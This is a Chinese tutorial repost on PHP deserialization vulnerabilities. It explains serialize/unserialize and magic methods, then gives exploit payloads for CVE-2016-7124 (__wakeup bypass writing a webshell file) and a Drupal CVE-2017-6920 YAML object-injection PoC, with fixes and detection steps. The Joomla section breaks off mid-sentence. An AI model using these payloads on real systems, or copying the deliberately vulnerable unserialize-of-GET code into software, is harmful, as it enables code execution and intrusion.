溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

PHP反序列化漏洞的示例分析

發(fā)布時(shí)間:2021-09-09 11:46:47 來(lái)源:億速云 閱讀:227 作者:小新 欄目:網(wǎng)絡(luò)管理

這篇文章將為大家詳細(xì)講解有關(guān)PHP反序列化漏洞的示例分析,小編覺得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。

0x01 原理

php程序?yàn)榱吮4婧娃D(zhuǎn)儲(chǔ)對(duì)象,提供了序列化的方法。php序列化是為了在程序運(yùn)行的過(guò)程中對(duì)對(duì)象進(jìn)行轉(zhuǎn)儲(chǔ)而產(chǎn)生的。序列化可以將對(duì)象轉(zhuǎn)換成字符串,但僅保留對(duì)象里的成員變量,不保留函數(shù)方法。

php序列化的函數(shù)為serialize,可以將對(duì)象中的成員變量轉(zhuǎn)換成字符串。

反序列化的函數(shù)為unserilize,可以將serialize生成的字符串重新還原為對(duì)象中的成員變量。

將用戶可控的數(shù)據(jù)進(jìn)行了反序列化,就是PHP反序列化漏洞。

序列化

序列化的目的是方便數(shù)據(jù)的傳輸和存儲(chǔ)。

在PHP應(yīng)用中,序列化和反序列化一般用作緩存,比如session緩存,cookie等。

常見的序列化格式:

二進(jìn)制格式

字節(jié)數(shù)組

json字符串

xml字符串

<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return "this is test1";
}
}
$test = new Test();
var_dump(serialize($test));
?>

輸出結(jié)果為:

C:\phpstudy_pro\WWW\s1.php:11:string 'O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"?*?b";s:5:"ThisB";s:7:"?Test?c";s:5:"ThisC";}' (length=84)

實(shí)際的序列化字符串為

:O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"?*?b";s:5:"ThisB";s:7:"?Test?c";s:5:"ThisC";}

對(duì)象序列化后的結(jié)構(gòu)為:

O:對(duì)象名的長(zhǎng)度:"對(duì)象名":對(duì)象屬性個(gè)數(shù):{s:屬性名的長(zhǎng)度:"屬性名";s:屬性值的長(zhǎng)度:"屬性值";}

可以得知,序列化之后的結(jié)果是字符串string。

Test是一個(gè)類,new Test()表示創(chuàng)建Test類的對(duì)象。

O表示對(duì)象,4表示類的名稱有4個(gè)字符,Test是類名稱。

3表示對(duì)象中有3個(gè)成員變量。括號(hào)里面是每個(gè)成員的類型、名稱、值。

變量名和變量值之間以分號(hào)分隔。

a是public類型的變量,s表示字符串,1表示變量名的長(zhǎng)度,a是變量名。

b是protected類型的變量,它的變量名長(zhǎng)度為4,也就是b前添加了%00*%00。所以,protected屬性的表示方式是在變量名前加上%00*%00。

c是private類型的變量,c的變量名前添加了%00類名%00。所以,private屬性的表示方式是在變量名前加上%00類名%00。

雖然Test類中有test1方法,但是,序列化得到的字符串中,只保存了公有變量a,保護(hù)變量b和私有變量c,并沒保存類中的方法。也可以看出,序列化不保存方法。

反序列化

<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return "this is test1";
}
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>

輸出內(nèi)容如下:

C:\phpstudy_pro\WWW\s2.php:13:
object(Test)[2]
public 'a' => string 'ThisA' (length=5)
protected 'b' => string 'ThisB' (length=5)
private 'c' => string 'ThisC' (length=5)

類的成員變量被還原了,但是類的方法沒有被還原。因?yàn)樾蛄谢臅r(shí)候就沒有保存類的方法。

PHP反序列化漏洞中可能會(huì)用到的魔術(shù)方法

php類可能會(huì)包含魔術(shù)方法,魔術(shù)方法命名是以符號(hào)__開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。這些函數(shù)在某些情況下會(huì)自動(dòng)調(diào)用。
__construct():具有構(gòu)造函數(shù)的類會(huì)在每次創(chuàng)建新對(duì)象時(shí)先調(diào)用此方法。

__destruct():析構(gòu)函數(shù)會(huì)在到某個(gè)對(duì)象的所有引用都被刪除或者當(dāng)對(duì)象被顯式銷毀時(shí)執(zhí)行。

__toString()方法用于一個(gè)類被當(dāng)成字符串時(shí)應(yīng)怎樣回應(yīng)。例如echo $obj;應(yīng)該顯示些什么。

此方法必須返回一個(gè)字符串,否則將發(fā)出一條 E_RECOVERABLE_ERROR 級(jí)別的致命錯(cuò)誤。

__sleep()方法在一個(gè)對(duì)象被序列化之前調(diào)用;

__wakeup():unserialize( )會(huì)檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì)先調(diào)用_wakeup方法,預(yù)先準(zhǔn)備對(duì)象需要的資源。
__construct() # 當(dāng)對(duì)象被創(chuàng)建時(shí)調(diào)用
__destruct()    # 當(dāng)對(duì)象被銷毀時(shí)調(diào)用
__toString()    # 當(dāng)對(duì)象被當(dāng)做字符串使用
__sleep()       # 在對(duì)象被序列化之前調(diào)用
__wakeup()  # 在對(duì)象被反序列化之前調(diào)用
<?php
class Test{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
return 'str';
}
public function __sleep(){
echo 'sleep run';
return array();
}
public function __wakeup(){
echo 'wakeup run';
}
}

echo '<br>new了一個(gè)對(duì)象,對(duì)象被創(chuàng)建,執(zhí)行__construct</br>';
$test = new Test();

echo '<br>serialize了一個(gè)對(duì)象,對(duì)象被序列化,先執(zhí)行__sleep,再序列化</br>';
$sTest = serialize($test);

echo '<br>__wakeup():unserialize( )會(huì)檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì)先調(diào)用_wakeup方法,預(yù)先準(zhǔn)備對(duì)象需要的資源。</br>';
$usTest = unserialize($sTest);

echo '<br>把Test對(duì)象當(dāng)做字符串使用,執(zhí)行__toString</br>';
$string = 'use Test obj as str '.$test;

echo '<br>程序執(zhí)行完畢,對(duì)象自動(dòng)銷毀,執(zhí)行__destruct</br>';

?>
new了一個(gè)對(duì)象,對(duì)象被創(chuàng)建,執(zhí)行__construct
construct run
serialize了一個(gè)對(duì)象,對(duì)象被序列化,先執(zhí)行__sleep,再序列化
sleep run
__wakeup():unserialize( )會(huì)檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì)先調(diào)用_wakeup方法,預(yù)先準(zhǔn)備對(duì)象需要的資源。
wakeup run
把Test對(duì)象當(dāng)做字符串使用,執(zhí)行__toString
toString run
程序執(zhí)行完畢,對(duì)象自動(dòng)銷毀,執(zhí)行__destruct
destruct rundestruct run

現(xiàn)在5個(gè)魔法函數(shù)的執(zhí)行順序就明確了。

對(duì)象被創(chuàng)建時(shí)執(zhí)行__construct。

使用serialize()序列化對(duì)象。先執(zhí)行__sleep,再序列化。

unserialize( )會(huì)檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì)先調(diào)用_wakeup()方法,預(yù)先準(zhǔn)備對(duì)象需要的資源。

把對(duì)象當(dāng)做字符串使用,比如將對(duì)象與字符串進(jìn)行拼接,或者使用echo輸出對(duì)象,會(huì)執(zhí)行__toString

程序運(yùn)行完畢,對(duì)象自動(dòng)銷毀,執(zhí)行__destruct

安全問(wèn)題

如何利用反序列化漏洞,取決于應(yīng)用程序的邏輯、可用的類和魔法函數(shù)。unserialize的參數(shù)用戶可控,攻擊者可以構(gòu)造惡意的序列化字符串。當(dāng)應(yīng)用程序?qū)阂庾址葱蛄谢癁閷?duì)象后,也就執(zhí)行了攻擊者指定的操作,如代碼執(zhí)行、任意文件讀取等。

PHP反序列漏洞的防御方法

不允許用戶控制unserialize函數(shù)的參數(shù)

0x02 實(shí)例講解

一、CVE-2016-7124

影響版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

反序列化時(shí),如果表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)的屬性個(gè)數(shù)時(shí)就會(huì)跳過(guò)__wakeup( )的執(zhí)行。

__destruct  # 當(dāng)對(duì)象被銷毀時(shí)調(diào)用
__wakeup    # 在對(duì)象被反序列化之前調(diào)用

漏洞示例代碼如下:

<?php
class A{
var $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("C:\\phpstudy_pro\\WWW\\unserialize\\shell.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}

$test = $_GET['test'];
$test_unseria = unserialize($test);

echo "shell.php<br/>";
include(".\shell.php");
?>

獲取序列化字符串的腳本如下:

<?php
class A{
var $target = "test";
}

$obj = new A();
$s = serialize($obj);
var_dump($s);

?>

正常的序列化字符串為:O:1:"A":1:{s:6:"target";s:4:"test";}。注意:這里target變量的值是test,長(zhǎng)度為4。當(dāng)我們修改target變量的值時(shí),對(duì)應(yīng)的,也要將值的長(zhǎng)度進(jìn)行修改。

在線計(jì)算字符串長(zhǎng)度

程序從GET請(qǐng)求中獲取test參數(shù)的值,然后將test參數(shù)進(jìn)行反序列化。

?test=O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}

代碼正常的執(zhí)行邏輯,應(yīng)該是:unserialize( )會(huì)檢查是否存在一個(gè)_wakeup( )方法。本例中存在,則會(huì)先調(diào)用_wakeup()方法,預(yù)先將對(duì)象中的target屬性賦值為"wakeup!"。注意,不管用戶傳入的序列化字符串中的target屬性為何值,__wakeup()都會(huì)把$target的值重置為"wakeup!"。最后程序運(yùn)行結(jié)束,對(duì)象被銷毀,調(diào)用__destruct()方法,將target變量的值寫入文件shell.php中。這樣shell.php文件中的內(nèi)容就是字符串"wakeup"。

PHP反序列化漏洞的示例分析

對(duì)象序列化后的結(jié)構(gòu)為:O:對(duì)象名的長(zhǎng)度:"對(duì)象名":對(duì)象屬性個(gè)數(shù):{s:屬性名的長(zhǎng)度:"屬性名";s:屬性值的長(zhǎng)度:"屬性值";}

反序列化時(shí),如果表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)的屬性個(gè)數(shù)時(shí)就會(huì)跳過(guò)__wakeup( )的執(zhí)行。構(gòu)造如下對(duì)象作為payload:

?test=O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}

這里真實(shí)屬性個(gè)數(shù)是1,只有1個(gè)target屬性。我們?cè)跇?gòu)造序列化字符串時(shí),將表示對(duì)象屬性個(gè)數(shù)的值寫成任何大于1的整數(shù),就可以跳過(guò)__wakeup()的執(zhí)行?,F(xiàn)在,程序執(zhí)行的邏輯變?yōu)椋褐苯邮褂?code>unserialize()函數(shù)將用戶傳遞的參數(shù)進(jìn)行反序列化。程序執(zhí)行結(jié)束,對(duì)象被銷毀,調(diào)用__destruct()方法,將target變量的值寫入文件shell.php中。而target變量的值就是我們用戶構(gòu)造的phpinfo()函數(shù),成功getshell。

PHP反序列化漏洞的示例分析

注意,如果要序列化protected類型的屬性,需要在變量名前加上%00*%00。序列化private類型的屬性,需要在變量名前加上%00類名%00。

<?php
class A{
protected $target = "test";
}

$obj = new A();
$s = serialize($obj);
var_dump($s);

?>

得到的序列化字符串為:

O:1:"A":1:{s:9:"?*?target";s:4:"test";}

構(gòu)造的payload為:

?test=O:1:"A":2:{s:9:"%00*%00target";s:18:"<?php phpinfo();?>";}
<?php
class A{
private $target = "test";
}

$obj = new A();
$s = serialize($obj);
var_dump($s);

?>

得到的序列化字符串為:

O:1:"A":1:{s:9:"?A?target";s:4:"test";}

構(gòu)造的payload為:

?test=O:1:"A":2:{s:9:"%00A%00target";s:18:"<?php phpinfo();?>";}

二、CVE-2017-6920:Drupal遠(yuǎn)程代碼執(zhí)行漏洞

Drupal Core 8 PECL YAML 反序列化任意代碼執(zhí)行漏洞(CVE-2017-6920)

CVE-2017-6920:Drupal遠(yuǎn)程代碼執(zhí)行漏洞分析及POC構(gòu)造

本例子代碼審計(jì)中分析反序列化漏洞的方法

通過(guò)diff有漏洞的版本和漏洞修復(fù)的版本,發(fā)現(xiàn)漏洞的觸發(fā)點(diǎn)。

在漏洞所在函數(shù)的觸發(fā)點(diǎn)代碼中,通過(guò)閱讀官方文檔,找到外部可控的參數(shù),明確漏洞的觸發(fā)原理。

定位漏洞所在函數(shù)的調(diào)用位置,如果該函數(shù)還調(diào)用了其它函數(shù),繼續(xù)跟蹤其它函數(shù)。

最后定位外部可控的輸入點(diǎn)。找到漏洞的數(shù)據(jù)觸發(fā)點(diǎn)。

要利用該漏洞進(jìn)行遠(yuǎn)程代碼執(zhí)行,需要一個(gè)可以利用的類。如有應(yīng)用程序使用命名空間的方式來(lái)管理類,可以全局實(shí)例化一個(gè)類,也可以反序列化一個(gè)類;該漏洞利用了反序列化,因此需要找一個(gè)反序列類。通過(guò)__destruct以及__wakeup來(lái)定位類,全局搜索可以找到幾個(gè)可利用的類。

通過(guò)反序列化這些類,可以造成任意文件刪除、寫入webshell、任意無(wú)參數(shù)函數(shù)執(zhí)行等危害。

漏洞描述

2017年6月21日,Drupal官方發(fā)布了一個(gè)編號(hào)為CVE-2017- 6920 的漏洞,影響為Critical。這是Drupal Core的YAML解析器處理不當(dāng)所導(dǎo)致的一個(gè)遠(yuǎn)程代碼執(zhí)行漏洞,影響8.x的Drupal Core。

漏洞驗(yàn)證

漏洞環(huán)境

執(zhí)行如下命令啟動(dòng) drupal 8.3.0 的環(huán)境:

docker-compose up -d

環(huán)境啟動(dòng)后,訪問(wèn)http://your-ip:8080/將會(huì)看到drupal的安裝頁(yè)面,一路默認(rèn)配置下一步安裝。因?yàn)闆]有mysql環(huán)境,所以安裝的時(shí)候可以選擇sqlite數(shù)據(jù)庫(kù)。

漏洞復(fù)現(xiàn)

先安裝yaml擴(kuò)展

# 換鏡像源,默認(rèn)帶vim編輯器,所以用cat換源,可以換成自己喜歡的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安裝依賴
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安裝yaml擴(kuò)展
pecl install yaml
docker-php-ext-enable yaml.so
# 啟用 yaml.decode_php 否則無(wú)法復(fù)現(xiàn)成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重啟容器,CONTAINER換成自己的容器ID
docker restart CONTAINER

1.登錄一個(gè)管理員賬號(hào)

2.訪問(wèn) http://127.0.0.1:8080/admin/config/development/configuration/single/import

3.如下圖所示,Configuration type選擇Simple configuration,Configuration name任意填寫,Paste your configuration here中填寫PoC如下:

構(gòu)造了任意無(wú)參數(shù)函數(shù)的POC

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

PHP反序列化漏洞的示例分析

4.點(diǎn)擊Import后可以看到漏洞觸發(fā)成功,彈出phpinfo頁(yè)面。

PHP反序列化漏洞的示例分析

PHP反序列化漏洞的示例分析

漏洞修復(fù)

最新發(fā)布的Drupal 8.3.4 已經(jīng)修復(fù)了該漏洞,針對(duì)低于8.3.4的版本也可以通過(guò)升級(jí)Drupal文件/core/lib/Drupal/Component/Serialization/YamlPecl.php中的decode函數(shù)進(jìn)行防御

public static function decode($raw) {
# =========新增代碼部分開始==================================================  
static $init;
if (!isset($init)) {
// We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
# =========新增代碼部分結(jié)束==================================================  
// yaml_parse() will error with an empty value.
if (!trim($raw)) {
return NULL;
}
......
}

漏洞檢測(cè)

針對(duì)該漏洞,可采用兩種方法進(jìn)行檢測(cè):

方法一:登陸Drupal管理后臺(tái),查看內(nèi)核版本是8.x,且版本號(hào)低于8.3.4,則存在該漏洞;否則,不存在該漏洞;

登錄一個(gè)管理員賬號(hào)后,http://127.0.0.1:8080/admin/reports/updates,當(dāng)前內(nèi)核版本為8.3.0。

PHP反序列化漏洞的示例分析

方法二:在Drupal根目錄下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php,定位到函數(shù)public static function decode($raw),如果該函數(shù)代碼不包含" ini_set('yaml.decode_php', 0);"調(diào)用,則存在該漏洞;否則,不存在該漏洞。

root@a3aafd8a0fc8:/var/www/html/core/lib/Drupal/Component/Serialization# cat YamlPecl.php | grep "decode" -A 10

PHP反序列化漏洞的示例分析PHP反序列化漏洞的示例分析

三、 Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

漏洞環(huán)境:Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)

參考文獻(xiàn):Joomla遠(yuǎn)程代碼執(zhí)行漏洞分析(總結(jié))

簡(jiǎn)介

本漏洞根源是PHP5.6.13前的版本在讀取存儲(chǔ)好的session時(shí),如果反序列化出錯(cuò)則會(huì)跳過(guò)當(dāng)前一段數(shù)據(jù)而去反序列化下一段數(shù)據(jù)。而Joomla將session存儲(chǔ)在Mysql數(shù)據(jù)庫(kù)中,編碼是utf8,當(dāng)我們插入4字節(jié)的utf8數(shù)據(jù)時(shí)則會(huì)導(dǎo)致截?cái)?。截?cái)嗪蟮臄?shù)據(jù)在反序列化時(shí)就會(huì)失敗,最后觸發(fā)反序列化漏洞。

通過(guò)Joomla中的Gadget,可造成任意代碼執(zhí)行的結(jié)果。

影響版本

Joomla 1.5.x, 2.x, and 3.x before 3.4.6

PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

漏洞點(diǎn)——反序列化session

這個(gè)漏洞存在于反序列化session的過(guò)程中。漏洞存在于libraries/joomla/session/session.php,_validate函數(shù),將User-AgentX_FORWARDED_FOR調(diào)用set方法設(shè)置到了session中。最終,它們會(huì)被保存到數(shù)據(jù)庫(kù)的session表中。

利用|字符偽造,控制整個(gè)反序列化字符串

joomla也沒有采用php自帶的session處理機(jī)制,而是用多種方式(包括database、memcache等)自己編寫了存儲(chǔ)session的容器(storage)。其存儲(chǔ)格式為『鍵名 + 豎線 + 經(jīng)過(guò) serialize() 函數(shù)反序列處理的值』,其未正確處理多個(gè)豎線的情況。那么,我們這里就可以通過(guò)注入一個(gè)|符號(hào),將它前面的部分全部認(rèn)為是name,而|后面我就可以插入任意serialize字符串,構(gòu)造反序列化漏洞了。但還有一個(gè)問(wèn)題,在我們構(gòu)造好的反序列化字符串后面,還有它原本的內(nèi)容,必須要截?cái)?。在插入?shù)據(jù)庫(kù)的時(shí)候利用"

關(guān)于“PHP反序列化漏洞的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI